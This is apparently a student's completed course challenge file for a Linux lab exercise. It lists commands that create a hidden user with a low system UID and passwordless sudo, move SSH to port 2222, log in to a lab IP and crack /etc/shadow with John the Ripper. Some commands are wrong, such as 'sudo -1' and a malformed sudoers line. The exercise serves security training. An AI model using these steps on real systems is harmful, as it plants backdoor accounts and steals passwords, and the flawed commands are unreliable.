Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

useradd -M sysd

2. Give your secret user a password.

passwd sysd

3. Give your secret user a system UID < 1000.

usermod -u 648 sysd

4. Give your secret user the same GID.

groupmod -g 648 sysd

5. Give your secret user full sudo access without the need for a password.

```
usermod -aG sudo sysd
Edit sudoers file (under #includedir /etc/sudoers.d):
sysd ALL=ALL NOPASSWD:ALL
```

6. Test that sudo access works without your password.

```
sudo -1
```

Step 2: Smooth Sailing

1. Edit the sshd_config file.

```
Under #Port 22, input: Port 2222
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
service ssh restart
```

2. Exit the root account.

```
exit
```

3. SSH to the target machine using your sysd account and port 2222.

```
ssh sysd@192.168.6.105 -p 2222
```

4. Use sudo to switch to the root user.

```
sudo su
```

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

ssh sysd@192.168.6.105 -p 2222

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

While in etc directory as root, type: john shadow

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